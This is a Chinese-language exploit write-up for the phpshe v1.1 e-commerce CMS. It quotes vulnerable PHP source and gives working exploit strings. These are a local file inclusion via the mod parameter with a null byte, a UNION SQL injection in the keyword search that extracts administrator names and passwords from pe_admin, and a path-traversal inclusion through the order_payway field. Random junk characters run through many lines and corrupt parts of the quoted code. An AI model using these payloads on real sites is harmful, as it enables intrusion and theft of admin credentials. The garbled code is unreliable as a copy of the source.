phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
  l& B$ m; q% D7 A! C3 R/* ========================
/* By: : Kn1f3
8 s& P3 m! u1 G2 h/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
( d7 f7 i3 J/ P7 O( I8 K2 b' V!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
( X! S* D* I% Z0 m4 [( x}
else {
+ }- \. {! V. [; e2 m8 ^!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
8 D$ D8 r. x3 c; J3 N7 n: _' _7 I!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞

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//首页文件
4 v9 r3 Z7 D! ^) q<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
3 c" n/ \6 T+ Xpe_result();
+ H& d, I! ~6 [& `?>
' O( d8 R. P) n3 }//common 文件 第15行开始
url路由配置
" H; T# k4 Q8 e! k6 x" A/ f6 c$module = $mod = $act = 'index';
3 Z& U$ ]3 E0 m3 Y. V$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入

$ P. z# g' Z  z3 h<code id="code2">

//product.php文件
( M( @2 ]3 V1 Q- L3 r% t  Ecase 'list':
* c: t: h1 r6 f- t# Q3 |( f2 o1 ^: X: T$category_id = intval($id);
2 z3 b6 q. \. ~) l$info = $db->pe_select('category', array('category_id'=>$category_id));
. Q0 O5 E. A  s//搜索
8 {# A# C  t8 f5 ]3 @$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
% @; H. f8 R; ?0 Y( b1 z' tif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
2 f. U& W2 N2 h2 d3 Y' y, Qif ($_g_orderby) {
/ V5 G4 ~; {% p3 l% Q9 d& [2 o$orderby = explode('_', $_g_orderby);
& L( i1 s+ w' j1 a( o4 B: r$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
) k' r% ^% |$ ^% h& L3 H5 s}
, G- x! p# h6 oelse {
1 o3 ~6 U4 y9 D; V$sqlwhere .= " order by `product_id` desc";
}
* O( A7 t5 Q- ^$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
' B. x, Q8 }8 A% V5 O% O2 Y//当前路径
! O; i4 W# k4 N  M% z1 S) l$ q3 ]$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
! I' [  H# Q2 [! q* F$ kinclude(pe_tpl('product_list.html'));
: o1 _3 n2 m" T& N- J6 Z5 l//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
) V* u0 C0 P9 y/ B- d" y1 h( R{
//处理条件语句
9 x" m8 ]0 C  Q, `% X1 Q( x$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
0 G. h6 ~/ X7 E5 A//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
% R8 e, i: @+ u+ ?" V) y

</code>

0×03 包含漏洞2

8 n7 u' N+ Y/ g* T8 T) {7 n% a% S<code id="code3">

//order.php

case 'pay':

8 O, T( D+ C& ]7 ~6 g& j$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

* t, G4 R9 \* {' W4 @foreach($cache_payway as $k => $v) {

6 r1 K: d1 \" l" Y' G( q$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

8 w" T1 e% |" L; ~- `' f% K- p- P1 Y% d}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

9 U- W% F' c, d  y2 Lif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

8 l, y6 r$ X2 O2 J$ v1 L$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

( P# }* O3 Z4 t. K1 Vecho '正在为您连接支付网站，请稍后...';

" S* I( r) X" hinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

/ q- Q+ @( K# k" @1 g* _+ y3 melse {

$ ]/ t( P" ^: s5 |* Kpe_error('支付错误...');

}

9 P* C0 k, p' m* F0 {( Z- N}

2 t3 d, e. o0 P, Y3 m5 [$seo = pe_seo('选择支付方式');

4 d8 e( U0 H/ j9 [& l3 I3 iinclude(pe_tpl('order_pay.html'));

; X, X: b2 _, i( z& Z2 ~break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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